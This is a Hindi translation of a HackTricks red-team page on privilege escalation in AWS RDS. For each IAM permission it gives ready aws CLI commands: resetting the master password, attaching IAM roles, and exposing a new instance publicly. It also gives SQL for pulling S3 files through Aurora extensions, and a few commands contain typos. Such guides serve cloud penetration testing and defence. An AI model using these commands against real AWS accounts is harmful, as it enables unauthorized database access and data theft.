AWS - RDS Privesc

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS रेड टीम एक्सपर्ट)!

HackTricks का समर्थन करने के अन्य तरीके:

RDS - संबंधित डेटाबेस सेवा

RDS के बारे में अधिक जानकारी के लिए देखें:

pageAWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

इस अनुमति के साथ एक हमलावर मास्टर उपयोगकर्ता का पासवर्ड संशोधित कर सकता है, और डेटाबेस के अंदर लॉगिन:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

आपको डेटाबेस से संपर्क करने की आवश्यकता होगी (वे सामान्यत: केवल नेटवर्क के अंदर से ही पहुंचे जा सकते हैं)।

संभावित प्रभाव: डेटाबेस के अंदर संवेदनशील जानकारी खोजना।

rds-db:connect

दस्तावेज़ के अनुसार इस अनुमति वाले उपयोगकर्ता को डीबी इंस्टेंस से कनेक्ट करने की अनुमति हो सकती है।

RDS भूमिका IAM अनुमतियों का दुरुपयोग करें

Postgresql (Aurora)

यदि SELECT datname FROM pg_database; चलाते समय आपको एक डेटाबेस मिलता है जिसका नाम rdsadmin है, तो आप जान जाते हैं कि आप एक AWS postgresql डेटाबेस के अंदर हैं।

सबसे पहले आप यह जांच सकते हैं कि क्या इस डेटाबेस का उपयोग किसी अन्य AWS सेवा तक पहुंचने के लिए किया गया है। आप इसे स्थापित एक्सटेंशन्स देखकर जांच सकते हैं:

SELECT * FROM pg_extension;

यदि आप कुछ ऐसा पाते हैं जैसे aws_s3 तो आप यह मान सकते हैं कि इस डेटाबेस के S3 पर किसी प्रकार का एक्सेस है (अन्य एक्सटेंशन जैसे aws_ml और aws_lambda भी हो सकते हैं)।

इसके अलावा, यदि आपको aws rds describe-db-clusters चलाने की अनुमति है तो आप देख सकते हैं कि क्या क्लस्टर में कोई IAM Role जुड़ा हुआ है फ़ील्ड AssociatedRoles में। यदि हां, तो आप यह मान सकते हैं कि डेटाबेस अन्य AWS सेवाओं तक पहुँचने के लिए तैयार की गई थी। रोल के नाम (या यदि आप रोल की अनुमतियों को प्राप्त कर सकते हैं) के आधार पर आप अनुमान लगा सकते हैं कि डेटाबेस के पास किस प्रकार का अतिरिक्त एक्सेस है।

अब, बकेट के अंदर एक फ़ाइल पढ़ने के लिए आपको पूरा पथ पता होना चाहिए। आप इसे पढ़ सकते हैं:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

यदि आपके पास कच्चे AWS क्रेडेंशियल्स होते, तो आप इनका उपयोग करके S3 डेटा तक पहुंच सकते थे:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Postgresql को S3 तक पहुंचने के लिए किसी भी पैरामीटर समूह चर को बदलने की आवश्यकता नहीं है

Mysql (Aurora)

एक mysql में, यदि आप क्वेरी SELECT User, Host FROM mysql.user; चलाते हैं और वहाँ एक उपयोगकर्ता है जिसका नाम rdsadmin है, तो आप मान सकते हैं कि आप AWS RDS mysql db के अंदर हैं।

mysql के अंदर show variables; चलाएं और यदि चर जैसे aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role के मान हैं, तो आप मान सकते हैं कि डेटाबेस S3 डेटा तक पहुंचने के लिए तैयार है।

इसके अलावा, यदि आपको aws rds describe-db-clusters चलाने की अनुमति है तो आप जांच सकते हैं कि क्लस्टर के पास कोई संबंधित भूमिका है, जिसका मतलब आम तौर पर AWS सेवाओं तक पहुंच है)।

अब, एक बकेट के अंदर एक फ़ाइल पढ़ने के लिए आपको पूरा पथ पता होना चाहिए। आप इसे पढ़ सकते हैं:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

एक हमलावर जिसके पास rds:AddRoleToDBCluster और iam:PassRole अनुमतियाँ हैं, एक मौजूदा RDS इंस्टेंस में एक निर्दिष्ट भूमिका जोड़ सकता है। यह हमलावर को संवेदनशील डेटा तक पहुंचने या इंस्टेंस के भीतर डेटा को संशोधित करने की अनुमति दे सकता है।

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

संभावित प्रभाव: RDS इंस्टेंस में संवेदनशील डेटा तक पहुंच या डेटा में अनधिकृत संशोधन। ध्यान दें कि कुछ डीबीज़ अतिरिक्त कॉन्फ़िगरेशन की आवश्यकता होती है जैसे Mysql, जिसे aprameter समूहों में भूमिका ARN को निर्दिष्ट करने की आवश्यकता होती है।

rds:CreateDBInstance

केवल इस अनुमति के साथ ही एक हमलावर एक मौजूदा क्लस्टर के भीतर एक नया इंस्टेंस बना सकता है जिसमें पहले से ही एक IAM भूमिका जुड़ी होती है। उसे मास्टर उपयोगकर्ता पासवर्ड बदलने की अनुमति नहीं होगी, लेकिन वह नए डेटाबेस इंस्टेंस को इंटरनेट पर प्रकट कर सकता है:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

कार्य: जांच

एक हमलावर जिसके पास rds:CreateDBInstance और iam:PassRole अनुमतियाँ हैं, एक नया RDS इंस्टेंस एक निर्दिष्ट भूमिका संलग्न करके बना सकता है। हमलावर फिर संभावित रूप से संवेदनशील डेटा तक पहुंच सकता है या इंस्टेंस के भीतर डेटा को संशोधित कर सकता है।

संलग्न करने के लिए कुछ आवश्यकताएँ भूमिका/इंस्टेंस-प्रोफ़ाइल की (यहाँ से यहाँ):

  • प्रोफ़ाइल को आपके खाते में मौजूद होना चाहिए।

  • प्रोफ़ाइल में एक IAM भूमिका होनी चाहिए जिसे Amazon EC2 को अनुमतियाँ स्वीकार करने के लिए हों।

  • इंस्टेंस प्रोफ़ाइल नाम और संबंधित IAM भूमिका नाम AWSRDSCustom उपसर्ग से शुरू होना चाहिए।

aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

संभावित प्रभाव: आरडीएस इंस्टेंस में संवेदनशील डेटा तक पहुंच या डेटा में अनधिकृत संशोधन करने की अनुमति।

rds:AddRoleToDBInstance, iam:PassRole

rds:AddRoleToDBInstance और iam:PassRole अनुमतियों के साथ एक हमलावर मौजूदा आरडीएस इंस्टेंस में एक निर्दिष्ट भूमिका जोड़ सकता है। यह हमलावर को संवेदनशील डेटा तक पहुंचने या इंस्टेंस के भीतर डेटा को संशोधित करने की अनुमति दे सकता है।

इसके लिए डीबी इंस्टेंस को एक क्लस्टर के बाहर होना चाहिए

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

संभावित प्रभाव: आरडीएस इंस्टेंस में संवेदनशील डेटा तक पहुंच या डेटा में अनधिकृत संशोधन।

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated